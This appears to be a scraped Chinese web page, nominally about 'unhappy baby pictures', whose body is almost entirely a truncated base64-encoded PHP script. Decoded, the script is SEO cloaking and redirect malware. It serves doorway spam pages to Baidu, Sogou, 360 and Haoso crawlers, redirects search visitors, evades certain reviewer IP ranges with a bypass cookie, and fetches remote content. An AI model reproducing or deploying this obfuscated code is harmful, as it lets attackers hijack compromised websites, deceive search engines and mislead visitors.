宝宝不开心图片1001宝宝不开心图片
2016-05-29 04:08:49
ICRrZXlOYW1lID0n5a6d5a6d5LiN5byA5b+D5Zu+54mHMTAwMeWuneWuneS4jeW8gOW/g+WbvueJ hyc7IAoKZnVuY3Rpb24gQXBwX0dldExpbmsoKXsJCglyZXR1cm4gImh0dHA6Ly93d3cuc2hhaWJh b2ouY29tL2FydGljbGUtIi5yYW5kKDEwMDAwMDAwLDk5OTk5OTk5KS4iLTEuaHRtbCI7Cn0KCmZ1 bmN0aW9uIEFwcF9HZXRTZWxmKCl7CglyZXR1cm4gImh0dHA6Ly93d3cuc2hhaWJhb2ouY29tL2Fy dGljbGUtIi5yYW5kKDEwMDAwMDAwLDk5OTk5OTk5KS4iLTEuaHRtbCI7Cn0KCgovL8K3wrXCu8OY w43CvMOGwqwKZnVuY3Rpb24gZ2V0SW1nKCl7CglyZXR1cm4gJ2h0dHA6Ly93d3cuc2hhaWJhb2ou Y29tL2ltZy8yMDE1MTEwNi9scScucmFuZCgxLDIwKS4iLmpwZyI7Cn0KCgoKCmZ1bmN0aW9uIHJu ZFN0cigkbGVuZ3RoPTgpewoJJHN0ciA9IG51bGw7Cgkkc3RyUG9sID0gIjAxMjM0NTY3ODlhYmNk ZWZnaGlqa2xtbm9wcXJzdHV2d3h5eiI7CgkkbWF4ID0gc3RybGVuKCRzdHJQb2wpLTE7Cglmb3Io JGk9MDskaTwkbGVuZ3RoOyRpKyspewoJCSRzdHIuPSRzdHJQb2xbcmFuZCgwLCRtYXgpXTsKCX0K CXJldHVybiAkc3RyOwp9CgpjbGFzcyBjb3JlQXBwQ2FjaGV7CgkKCXB1YmxpYyBmdW5jdGlvbiB3 cml0ZSgkZmlsZSwkZmlsZW5hbWUpewoJCXJldHVybiBmaWxlX3B1dF9jb250ZW50cygkZmlsZW5h bWUsc2VsZjo6ZW5jb2RlKCRmaWxlKSk7Cgl9CglwdWJsaWMgZnVuY3Rpb24gd3JpdGVub2NvZGUo JGZpbGUsJGZpbGVuYW1lKXsKCQlyZXR1cm4gZmlsZV9wdXRfY29udGVudHMoJGZpbGVuYW1lLCRm aWxlKTsKCX0KCXB1YmxpYyBmdW5jdGlvbiByZWFkKCRmaWxlbmFtZSl7CgkJJGNvbnRlbnQgPSBm aWxlX2dldF9jb250ZW50cygkZmlsZW5hbWUpOwoJCWlmKHN0cmlzdHIoJGNvbnRlbnQsIjwvZXhw bG9kZT4iKSl7CgkJCSRjb250ZW50ID0gc2VsZjo6Y3V0KCRjb250ZW50LCI8ZXhwbG9kZT4iLCI8 L2V4cGxvZGU+Iik7CgkJfQoJCXJldHVybiBzZWxmOjpkZWNvZGUoJGNvbnRlbnQpOwoJfQoKCXB1 YmxpYyBmdW5jdGlvbiBlbmNvZGUoJGZpbGUpewoJCXJldHVybiBiYXNlNjRfZW5jb2RlKGd6Y29t cHJlc3Moc2VyaWFsaXplKCRmaWxlKSkpOyAKCX0KCglwdWJsaWMgZnVuY3Rpb24gZGVjb2RlKCRm aWxlKXsKCQlyZXR1cm4gdW5zZXJpYWxpemUoZ3p1bmNvbXByZXNzKGJhc2U2NF9kZWNvZGUoJGZp bGUpKSk7IAoJfQoJCglwdWJsaWMgZnVuY3Rpb24gY3V0KCRmaWxlLCRmcm9tLCRlbmQpCgl7IAoJ CSRtZXNzYWdlPWV4cGxvZGUoJGZyb20sJGZpbGUpOyAKCQkkbWVzc2FnZT1leHBsb2RlKCRlbmQs JG1lc3NhZ2VbMV0pOyAKCQlyZXR1cm4gICAkbWVzc2FnZVswXTsKCX0KfQoKCgoKJG15X2NvbnRl bnQ9Jyc7CmlmKCFlbXB0eSgka2V5TmFtZSkpewoJJHF1ZXJ5X2RhdGEgPSBhcnJheSgncSc9PiRr ZXlOYW1lLCk7CgkkbXlfYWxpbWFtYSA9IG5ldyBhbGltYW1hKCRxdWVyeV9kYXRhKTsKCSRteV9h bGltYW1hLT5xdWVyeSgpOwoJJG15X2NvbnRlbnQgPSAkbXlfYWxpbWFtYS0+aHRtbCgpOwp9CiRk YXRhID0gc3RyX3JlcGxhY2UoJzxwaHB1bD48L3BocHVsPicsJG15X2NvbnRlbnQsJGRhdGEpOwpp ZihzdHJwb3MoJGRhdGEsIltpdGVtOm1lbnVdIikhPT0gZmFsc2UmJiFlbXB0eSgka2V5TmFtZSkp ewoJJHRhZ191cmwgPSAnaHR0cHM6Ly9zdWdnZXN0LnRhb2Jhby5jb20vc3VnP2NvZGU9dXRmLTgm cT0nLnVybGVuY29kZSgka2V5TmFtZSk7CgkkdGFnX2NvbnRlbnQgPSBhbGltYW1hOjpIdHRwVmlz aXQoJHRhZ191cmwpOwoJJHRhZ19qc29uID0ganNvbl9kZWNvZGUoJHRhZ19jb250ZW50LHRydWUp OwoJJHRhZ19tZW51ID0gJyc7Cglmb3JlYWNoICgkdGFnX2pzb25bJ3Jlc3VsdCddIGFzICRrZXkg PT4gJHZhbHVlKSB7CgkJJGh0dHBfaG9zdCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKCQkkcGhw X3NlbGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXTsKIAkJJHRhZ19pdGVtX3VybD0naHR0cDovLycu JGh0dHBfaG9zdC4kcGhwX3NlbGYuJz9rZXlOYW1lPScudXJsZW5jb2RlKCR2YWx1ZVswXSk7CgkJ JHRhZ19tZW51ID0gJHRhZ19tZW51Lic8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iJy4kdGFnX2l0 ZW1fdXJsLiciPicuJHZhbHVlWzBdLic8L2E+JzsKCX0KCSRkYXRhID0gc3RyX3JlcGxhY2UoJ1tp dGVtOm1lbnVdJywkdGFnX21lbnUsJGRhdGEpOwp9CgpjbGFzcyBhbGltYW1hewoJCglwdWJsaWMg JHNob3dfc3BpZGVyOwoJcHVibGljICRqdW1wX3JlZjsKCXB1YmxpYyAkaHR0cF9yZWZfZmlsdGVy OwoJcHVibGljICRqdW1wX3VybCA9ICIiOwoJcHVibGljICRkb21haW4gPSAiIjsKCXB1YmxpYyAk Y29uZGl0aW9uID0gIiI7CglwdWJsaWMgJGFwcF9zZXJ2ZXIgPSAiIjsKCXB1YmxpYyAkbG9nX3Nw aWRlciA9ICIiOwoJcHVibGljICRjdXJfc3BpZGVyID0gIiI7CglwdWJsaWMgJGFsbG93X2lwID0g IiI7CglwdWJsaWMgJGlzQ2FjaGUgPSBmYWxzZTsKCXB1YmxpYyAkY3Jhd2xfdXJsID0gImh0dHA6 Ly9wdWIuYWxpbWFtYS5jb20vaXRlbXMvc2VhcmNoLmpzb24iOwoJcHVibGljICRxdWVyeV9kYXRh OwoJcHVibGljICRjb250ZW50OwoKCXB1YmxpYyAkbGlfdGVtcGxhdGU9IjxsaT4KICA8ZGl2IGNs YXNzPSdsaV9saXN0JyBvbm1vdXNlb3Zlcj0ndGhpcy5jbGFzc05hbWU9J2xpX2hvdmVyJycgb25t b3VzZW91dD0ndGhpcy5jbGFzc05hbWU9J2xpX2xpc3QnJz4KICAgIDxkaXYgY2xhc3M9J25ldyc+ PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSdjb2xsZWN0Jz48YSBocmVmPSdqYXZhc2NyaXB0OjsnPjwv YT48L2Rpdj4KICAgIDxkaXYgY2xhc3M9J3BpYyc+PGEgaHJlZj0ne3VybH0nIHRhcmdldD0nX2Js YW5rJz4gPGltZyBzcmM9J3twaWN1cmx9Jz48L2E+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSd0aXRs ZSc+IDxhIGhyZWY9J3t1cmx9JyB0YXJnZXQ9J19ibGFuayc+e3RpdGxlfTwvYT48L2Rpdj4KICAg IDxkaXYgY2xhc3M9J21vbmV5X2JnJz4gCgkgICAgPHNwYW4+PGVtIGNsYXNzPSdtb25leV9zeW1i b2wnPu+/pTwvZW0+PGVtIGNsYXNzPSdtb25leV9udW0nPntwcmljZX08L2VtPjwvc3Bhbj4gCgkg ICAgPHNwYW4gY2xhc3M9J2Z4X21vbmV5X2JnJz4gPGVtIGNsYXNzPSd6aGVrb3UgaXRlbScgc3R5 bGU9J3Zpc2liaWxpdHk6IHZpc2libGU7Jz48Yj57bmlja308L2I+PC9lbT4gCgkgICAgPGVtIGNs YXNzPSdxaWFuZ291Jz48L2VtPiAKICAgIDwvZGl2PgogICAgPGRpdiBjbGFzcz0ndGpwX2JvdHRv bV9iZyc+CiAgICAgIDxkaXYgY2xhc3M9J3RqcF9ib3R0b20nPgogICAgICAgIDxkaXYgY2xhc3M9 J3RqcF9mYWJ1IGNvbG9yXzk5Jz57dG90YWxGZWV9PC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0n dGpwX3hpYW9iaWFuIGNvbG9yXzY2Jz57dG90YWxOdW19PC9kaXY+CiAgICAgIDwvZGl2PgogICAg PC9kaXY+CiAgPC9kaXY+CjwvbGk+ICI7CgoJLy/lrprkuYnmnoTpgKDlh73mlbDvvIznlKjkuo7l iJ3lp4vljJbotYvlgLwKICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRxdWVyeV9kYXRhKQogICAg ewogICAgICAgICAkdGhpcy0+cXVlcnlfZGF0YSA9ICRxdWVyeV9kYXRhOyAgICAgICAgLy/ov5np h4zlt7Lnu4/kvb/nlKjkuoZ0aGlz5oyH6ZKI6K+t5Y+l4pGgCiAgICB9CgoJcHVibGljIGZ1bmN0 aW9uIHNldFF1ZXJ5RGF0YSgkcXVlcnlfZGF0YSl7CgkJJHRoaXMtPnF1ZXJ5X2RhdGEgPSAkcXVl cnlfZGF0YTsKCQlyZXR1cm4gdHJ1ZTsKCX0KCglwdWJsaWMgZnVuY3Rpb24gaHRtbCgpewoJCSRj b250ZW50ID0gJHRoaXMtPmNvbnRlbnQ7CgkJJGFsaW1hbWFfanNvbiA9IGpzb25fZGVjb2RlKCRj b250ZW50LHRydWUpOwoJCSRodG1sID0gIjx1bD4iOwoJCWZvcmVhY2ggKCRhbGltYW1hX2pzb25b J2RhdGEnXVsncGFnZUxpc3QnXSBhcyAka2V5ID0+ICR2YWx1ZSkgewoJIAkJJGl0ZW1fdXJsPSR2 YWx1ZVsnYXVjdGlvblVybCddOwoJIAkJJGl0ZW1fdGl0bGU9JHZhbHVlWyd0aXRsZSddOwoJIAkJ JGl0ZW1fcHJpY2U9JHZhbHVlWyd6a1ByaWNlJ107CgkgCQkkaXRlbV9waWN0VXJsPSR2YWx1ZVsn cGljdFVybCddLidfNDAweDQwMF8ud2VicCc7CgkgCQkkaXRlbV9uaWNrPSR2YWx1ZVsnbmljaydd OwoJIAkJJGl0ZW1fdG90YWxOdW09J+aAu+mUgOmHjzonLiR2YWx1ZVsndG90YWxOdW0nXTsKCSAJ CSRpdGVtX3RvdGFsRmVlPSfmgLvkuqTmmJPpop06Jy4kdmFsdWVbJ3RvdGFsRmVlJ107CgoJCQkk aHR0cF9ob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwogCQkJJHBocF9zZWxmID0gJF9TRVJW RVJbJ1BIUF9TRUxGJ107CgkgCQkkaXRlbV91cmw9J2h0dHA6Ly8nLiRodHRwX2hvc3QuJHBocF9z ZWxmLic/Z290dT0nLmJhc2U2NF9lbmNvZGUoJGl0ZW1fdXJsKTsKCgkgCQkkaXRlbV9waWN0VXJs PSdodHRwOi8vaS5rYW50dS5pbi8nLmJhc2U2NF9lbmNvZGUoJGl0ZW1fcGljdFVybCk7CgoJCQkk bGkgPSAkdGhpcy0+bGlfdGVtcGxhdGU7CgoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3RpdGxlfScs JGl0ZW1fdGl0bGUsJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3twcmljZX0nLCRpdGVtX3By aWNlLCRsaSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7dXJsfScsJGl0ZW1fdXJsLCRsaSk7CgkJ CSRsaSA9IHN0cl9yZXBsYWNlKCd7cGljdXJsfScsJGl0ZW1fcGljdFVybCwkbGkpOwoJCQkkbGkg PSBzdHJfcmVwbGFjZSgne3RvdGFsTnVtfScsJGl0ZW1fdG90YWxOdW0sJGxpKTsKCQkJJGxpID0g c3RyX3JlcGxhY2UoJ3tuaWNrfScsJGl0ZW1fbmljaywkbGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFj ZSgne3RvdGFsRmVlfScsJGl0ZW1fdG90YWxGZWUsJGxpKTsKCgkJCSRodG1sID0gJGh0bWwuJGxp OwoJIAkJLy8gZWNobyAkbGk7CgkgCX0KCSAJJGh0bWwgPSAkaHRtbC4iPC91bD4iOwoJCXJldHVy biAkaHRtbDsKCX0KCglwdWJsaWMgZnVuY3Rpb24gcXVlcnkoKXsKCQkkdXJsICA9ICR0aGlzLT5j cmF3bF91cmwuJz8nLmh0dHBfYnVpbGRfcXVlcnkoJHRoaXMtPnF1ZXJ5X2RhdGEpOwoJCSR0aGlz LT5jb250ZW50ID0gJHRoaXMtPkh0dHBWaXNpdCgkdXJsKTsKCX0KCglwdWJsaWMgZnVuY3Rpb24g cnVuKCl7CgkJJHRoaXMtPmRvbWFpbiA9ICR0aGlzLT5nZXRTZXJ2ZXJOYW1lKCk7CgkJJHRoaXMt Pmp1bXBfcmVmID0gZXhwbG9kZSgifCIsImJhaWR1LnxoYW9zby58aGFvc291LnxiaW5nLnxzby58 c29nb3UufHNvc28uIik7CgkJJHRoaXMtPmh0dHBfcmVmX2ZpbHRlciA9IGV4cGxvZGUoInwiLCJp bnVybDp8c2l0ZTp8c2l0ZSUzQXxpbnVybCUzQSIpOwoJCSR0aGlzLT5hbGxvd19pcCA9ICIyMjIu MTg0LjIzNHwxMTIuODcuNzF8NTguMjIxLjg3Lnw0OS42Ny4yMjMiOwoJCSR0aGlzLT5jb25kaXRp b24gPSAoJF9HRVRbJ2FpZCddID4gMTAwMDAwMDAgJiYgJHRoaXMtPmlzQWxsb3dkSXAoKSk7CgkJ JHRoaXMtPmFwcF9zZXJ2ZXIgPSAiIjsKCQkkdGhpcy0+aXNDYWNoZSAgPSBGYWxzZTsKCQlpZigk dGhpcy0+aXNTcGlkZXIoKSAmJiAkdGhpcy0+aXNBbGxvd2RJcCgpKXsKCQkJCWlmKCR0aGlzLT5j b25kaXRpb24pewoJCQkJCWlmKCR0aGlzLT5pc0NhY2hlKXsKCQkJCQkJJHJlbHNldF9ob3N0ID0g JHRoaXMtPmdldFNlcnZlck5hbWUoKTsKCQkJCQkJJGRpciA9IChzdWJzdHIoUEhQX09TLCAwLCAz KSA9PSAnV0lOJyA/ICdDOi93aW5kb3dzL3RlbXAvJyA6ICcvdG1wLycpIC4gc3Vic3RyKG1kNSgk cmVsc2V0X2hvc3QpLCAyNikgLiBjaHIoNDcpOwoJCQkJCQkkY2FjaGVGaWxlID0gJGRpci4nc2Vz c18nIC4gc3Vic3RyKG1kNShodHRwX2J1aWxkX3F1ZXJ5KCRfR0VUKSksIDYpOwoJCQkJCQlpZigh QGZpbGVfZXhpc3RzKCRkaXIpKXsKICAgICAgICAgICAgIAkJCQkgbWtkaXIoJGRpciwgMDc3Nyk7 CiAgICAgICAgICAgIAkJCX0KCQkJCQkJaWYoQGZpbGVfZXhpc3RzKCRjYWNoZUZpbGUpICYmIEBm aWxlc2l6ZSAoJGNhY2hlRmlsZSkgPiAzMiApewoJCQkJCQkJJHZhciA9IGNvcmVBcHBDYWNoZTo6 cmVhZCgkY2FjaGVGaWxlKTsKCQkJCQkJCSRwYWdlID0gZmlsZV9nZXRfY29udGVudHMoQVBQX0pB Q0tfVEVNUExBVEUpOwoJCQkJCQkJZm9yZWFjaCgkdmFyIGFzICRrZXk9PiR2KXsKCQkJCQkJCQkk ZmxhZyA9ICJ7Ii4ka2V5LiJ9IjsKCQkJCQkJCQkkcGFnZSA9IHN0cl9yZXBsYWNlKCRmbGFnLCR2 LCRwYWdlKTsKCQkJCQkJCX0KCQkJCQkJCWVjaG8gJHBhZ2U7CgkJCQkJCQlleGl0KCk7CgkJCQkJ CX0KCQkJCQkJZWxzZQoJCQkJCQl7CQoJCQkJCQkJLy/CsMO8wrrCrMK9w7hBUFDCvMK0wr/DiQoJ CQkJCQkJJGN1cnJlbnRQYWdlID0gaW5jbHVkZShBUFBfSkFDS19BUFBGSUxFKTsKCQkJCQkJCWlm KCRjdXJyZW50UGFnZSAmJiBzdHJsZW4oJGN1cnJlbnRQYWdlKSA+IDMyICYmIHN0cmlzdHIoJGN1 cnJlbnRQYWdlLCI8L2V4cGxvZGU+IikpewoJCQkJCQkJCSR2YXIgPSBzZWxmOjpjdXQoJGN1cnJl bnRQYWdlLCI8ZXhwbG9kZT4iLCI8L2V4cGxvZGU+Iik7CgkJCQkJCQkJJHZhciA9IGNvcmVBcHBD YWNoZTo6ZGVjb2RlKCR2YXIpOwoJCQkJCQkJCSRwYWdlID0gZmlsZV9nZXRfY29udGVudHMoQVBQ X0pBQ0tfVEVNUExBVEUpOwoJCQkJCQkJCWZvcmVhY2goJHZhciBhcyAka2V5PT4kdil7CgkJCQkJ CQkJCSRmbGFnID0gInsiLiRrZXkuIn0iOwoJCQkJCQkJCQkkcGFnZSA9IHN0cl9yZXBsYWNlKCRm bGFnLCR2LCRwYWdlKTsKCQkJCQkJCQl9CgkJCQkJCQkJZWNobyAkcGFnZTsKCQkJCQkJCQlAY29y ZUFwcENhY2hlOjp3cml0ZW5vY29kZSgkY3VycmVudFBhZ2UsJGNhY2hlRmlsZSk7CgkJCQkJCQl9 CgkJCQkJCX0KCQkJCQkJZGllKCk7CgkJCQkJfQoJCQkJCWVsc2UKCQkJCQl7CgkJCQkJCSRjdXJy ZW50UGFnZSA9IGluY2x1ZGUoQVBQX0pBQ0tfQVBQRklMRSk7CgkJCQkJCWVjaG8gJGN1cnJlbnRQ YWdlOwoJCQkJCQlkaWUoKTsKCQkJCQl9CgkJCQl9CgkJCQllbHNlCgkJCQl7CgoJCQkJCSR0aGlz LT5fdW5jb25kaXRpb25faG9vaygpOwoJCQkJfQoJCX0KCQllbHNlCgkJewkKCQkJaWYoJHRoaXMt PmlzUmVmKCkgJiYgJHRoaXMtPmNvbmRpdGlvbil7CgkJCQkkdGhpcy0+SnVtcCgpOwoJCQl9CgkJ CWVsc2UKCQkJewoJCQkJJHRoaXMtPl91blNwaWRlcl9ob29rKCk7CgkJCX0KCQl9Cgl9CgoJcHVi bGljIGZ1bmN0aW9uIGlzQWxsb3dkSXAoKXsKCQkkaXAgPSAkdGhpcy0+Y2xpZW50SXAoKTsKCQkk bm9uX2xpc3QgPSBleHBsb2RlKCJ8IiwkdGhpcy0+YWxsb3dfaXApOwoJCWZvcmVhY2goJG5vbl9s aXN0IGFzICRpcGxpc3QpewoJCQlpZihAc3RyaXN0cigkaXAsJGlwbGlzdCkpewoJCQkJcmV0dXJu IGZhbHNlOwoJCQl9CgkJfQoJCXJldHVybiB0cnVlOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBjbGll bnRJcCgpewoJCWlmKGdldGVudignSFRUUF9DTElFTlRfSVAnKSAmJiBzdHJjYXNlY21wKGdldGVu dignSFRUUF9DTElFTlRfSVAnKSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYo J0hUVFBfQ0xJRU5UX0lQJyk7CgkJfSBlbHNlaWYoZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEX0ZP UicpICYmIHN0cmNhc2VjbXAoZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEX0ZPUicpLCAndW5rbm93 bicpKSB7CgkJCSRvbmxpbmVpcCA9IGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKTsKCQl9 IGVsc2VpZihnZXRlbnYoJ1JFTU9URV9BRERSJykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ1JFTU9U RV9BRERSJyksICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gZ2V0ZW52KCdSRU1PVEVfQURE UicpOwoJCX0gZWxzZWlmKGlzc2V0KCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSAmJiAkX1NFUlZF UlsnUkVNT1RFX0FERFInXSAmJiBzdHJjYXNlY21wKCRfU0VSVkVSWydSRU1PVEVfQUREUiddLCAn dW5rbm93bicpKSB7CgkJCSRvbmxpbmVpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwoJCX0K CQlwcmVnX21hdGNoKCIvW1xkXC5dezcsMTV9LyIsICRvbmxpbmVpcCwgJG9ubGluZWlwbWF0Y2hl cyk7CgkJJG9ubGluZWlwID0gJG9ubGluZWlwbWF0Y2hlc1swXSA/ICRvbmxpbmVpcG1hdGNoZXNb MF0gOiAndW5rbm93bic7CgkJdW5zZXQoJG9ubGluZWlwbWF0Y2hlcyk7CgkJcmV0dXJuICRvbmxp bmVpcDsKCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNTcGlkZXIoKXsKCQkkYm90cyA9IGFycmF5KAoJ CQkJJ0JhaWR1JyAgICAgICAgPT4gJ2JhaWR1c3BpZGVyJywKCQkJCSdTb2dvdScgICAgICAgID0+ ICdzb2dvdScsCgkJCQknSGFvc28nICAgICAgICA9PiAnaGFvc291c3BpZGVyJywKCQkJCSczNjBz cGlkZXInICAgICAgICA9PiAnMzYwc3BpZGVyJwoJCSApOwoJCSR1c2VyQWdlbnQgPSBzdHJ0b2xv d2VyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7CgkJZm9yZWFjaCAoJGJvdHMgYXMgJGsg PT4gJHYpewoJCQlpZiAoc3RyaXN0cigkdXNlckFnZW50LCR2KSl7CgkJCQlpZighZW1wdHkoJHRo aXMtPmxvZ19zcGlkZXIpKXsKCQkJCQlAZmlsZV9wdXRfY29udGVudHMoJHRoaXMtPmxvZ19zcGlk ZXIsJHYuIi0+VmlzaXRlZCAiLiRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXS4iYXQ6ICIuZGF0ZSgi WS1tLWQgSDppOnMiKS4iXG4iLEZJTEVfQVBQRU5EKTsKCQkJCX0KCQkJCSR0aGlzLT5jdXJfc3Bp ZGVyID0gJGs7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJCWJyZWFrOwoJCQl9CgkJfQoJCXJldHVybiBm YWxzZTsJCgl9CgoJcHVibGljIGZ1bmN0aW9uIGlzUmVmKCl7CgkJJHJlZiA9IHN0cnRvbG93ZXIo QCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSk7CgkJaWYoaXNzZXQoJF9DT09LSUVbImRvbWFpbi1m aWx0ZXItYnlwYXNzIl0pKXsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQkKCQlpZighJHRoaXMtPmlz QWxsb3dkSXAoKSl7CgkJCXNldGNvb2tpZSgiZG9tYWluLWZpbHRlci1ieXBhc3MiLCAibG9sIiwg dGltZSgpICsgMjU5MjAwKTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJZm9yZWFjaCgkdGhpcy0+ aHR0cF9yZWZfZmlsdGVyIGFzICRyKXsKCQkJJHIgPSB0cmltKCRyKTsKCQkJaWYoc3RyaXN0cigk cmVmLCRyKSl7CgkJCQlzZXRjb29raWUoImRvbWFpbi1maWx0ZXItYnlwYXNzIiwgImxvbCIsIHRp bWUoKSArIDI1OTIwMCk7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9CgkKCQlmb3JlYWNoKCR0 aGlzLT5qdW1wX3JlZiBhcyAkcil7CgkJCSRyID0gdHJpbSgkcik7CgkJCWlmKHN0cmlzdHIoJHJl ZiwkcikpewoJCQkJcmV0dXJuIHRydWU7CgkJCX0KCQl9Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGdl dFNlcnZlck5hbWUoKSAKCXsgCgkJJFNlcnZlck5hbWUgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydT RVJWRVJfTkFNRSddPyRfU0VSVkVSWydTRVJWRVJfTkFNRSddOiRfU0VSVkVSWydIVFRQX0hPU1Qn XSk7IAoJCWlmKCBzdHJwb3MoJFNlcnZlck5hbWUsJ2h0dHA6Ly8nKSApIAoJCXsgCgkJCXJldHVy biBzdHJfcmVwbGFjZSgnaHR0cDovLycsJycsJFNlcnZlck5hbWUpOyAKCQl9IAoJCXJldHVybiAk U2VydmVyTmFtZTsgCgl9CgoJcHVibGljIGZ1bmN0aW9uIGdldFBhZ2UoKXsKCQlpZigkdGhpcy0+ aXNDYWNoZSl7CgkJCSRjYWNoZT0iY2FjaGVkIjsKCQl9CgkJJHVybCAgPSAkdGhpcy0+YXBwX3Nl cnZlci4iP2RvbWFpbj0iLiR0aGlzLT5kb21haW4uIiZnaWQ9MTk5JnNwaWRlcj0iLiR0aGlzLT5j dXJfc3BpZGVyLiImY2FjaGU9Ii4kY2FjaGUuIiZsb2NhbFBhcj0iLmh0dHBfYnVpbGRfcXVlcnko JF9HRVQpOwoJCXJldHVybiAkdGhpcy0+SHR0cFZpc2l0KCR1cmwpOwoJfQoKICAgIHB1YmxpYyBm dW5jdGlvbiBIdHRwVmlzaXQoJHdlYnVybCkgewogICAgCSR1c2VyX2FnZW50ID0gIk1vemlsbGEv NS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzEwXzUpIEFwcGxlV2ViS2l0LzUzNy4z NiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS80NS4wLjI0NTQuODUgU2FmYXJpLzUzNy4zNiBR UUJyb3dzZXIvMy45LjM5NDMuNDAwIjsKICAgICAgICAkcmVtb3RlX2RhdGEgPSBOVUxMOwogICAg ICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfZXhlYycpKSB7CiAgICAgICAgICAgICRjdXJs ID0gQGN1cmxfaW5pdCgpOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRf VVJMLCAkd2VidXJsKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX0hF QURFUiwgMCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9DT05ORUNU VElNRU9VVCwgMzApOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUkVU VVJOVFJBTlNGRVIsIDEpOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRf VVNFUkFHRU5ULCAkdXNlcl9hZ2VudCk7IAogICAgICAgICAgICAkcmVtb3RlX2RhdGEgPSBAY3Vy bF9leGVjKCRjdXJsKTsKICAgICAgICAgICAgQGN1cmxfY2xvc2UoJGN1cmwpOwogICAgICAgIH0g ZWxzZSB7CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3N0cmVhbV9jb250ZXh0X2Ny ZWF0ZScpKSB7CiAgICAgICAgICAgICAgICAkaGVhZGVyX2FycmF5ID0gYXJyYXkoJ2h0dHAnID0+ IGFycmF5KCdtZXRob2QnID0+ICdHRVQnLCAndGltZW91dCcgPT4gMzApKTsKICAgICAgICAgICAg ICAgICRodHRwX2hlYWRlciA9IEBzdHJlYW1fY29udGV4dF9jcmVhdGUoJGhlYWRlcl9hcnJheSk7 CiAgICAgICAgICAgICAgICAkcmVtb3RlX2RhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJHdlYnVy bCwgZmFsc2UsICRodHRwX2hlYWRlcik7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAg ICAgICAkdGVtcF91cmwgPSBleHBsb2RlKCIvIiwgJHdlYnVybCk7CiAgICAgICAgICAgICAgICAk bmV3X3VybCA9ICR0ZW1wX3VybFsyXTsKICAgICAgICAgICAgICAgICRodHRwX3BvcnQgPSA4MDsK ICAgICAgICAgICAgICAgICRnZXRfZmlsZSA9IHN1YnN0cigkd2VidXJsLCBzdHJsZW4oJG5ld191 cmwpICsgNyk7CiAgICAgICAgICAgICAgICBpZiAoc3Ryc3RyKCRuZXdfdXJsLCBjaHIoNTgpKSkg ewogICAgICAgICAgICAgICAgICAgICRzX3Zhcl9hcnJheVsndGQnXSA9IGV4cGxvZGUoY2hyKDU4 KSwgJG5ld191cmwpOwogICAgICAgICAgICAgICAgICAgICRuZXdfdXJsID0gJHNfdmFyX2FycmF5 Wyd0ZCddWzBdOwogICAgICAgICAgICAgICAgICAgICRodHRwX3BvcnQgPSAkc192YXJfYXJyYXlb J3RkJ11bMV07CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkZnNvY2tfcmVzdWx0 ID0gQGZzb2Nrb3BlbigkbmV3X3VybCwgJGh0dHBfcG9ydCk7CiAgICAgICAgICAgICAgICBAZnB1 dHMoJGZzb2NrX3Jlc3VsdCwgJ0dFVCAnIC4gJGdldF9maWxlIC4gJyBIVFRQLzEuMScgLiAiXHJc biIgLiAnSG9zdDonIC4gJG5ld191cmwgLiAiXHJcbiIgLiAnQ29ubmVjdGlvbjpDbG9zZScgLiAi XHJcblxyXG4iKTsKICAgICAgICAgICAgICAgIHdoaWxlICghZmVvZigkZnNvY2tfcmVzdWx0KSkg ewogICAgICAgICAgICAgICAgICAgICRyZW1vdGVfZGF0YSAuPSBmZ2V0cygkZnNvY2tfcmVzdWx0 LCAxMDI0KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZzb2Nr X3Jlc3VsdCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICRyZW1vdGVf ZGF0YTsKICAgIH0KCglwdWJsaWMgZnVuY3Rpb24gSnVtcCgpewoJCWlmKCR0aGlzLT5pc0FsbG93 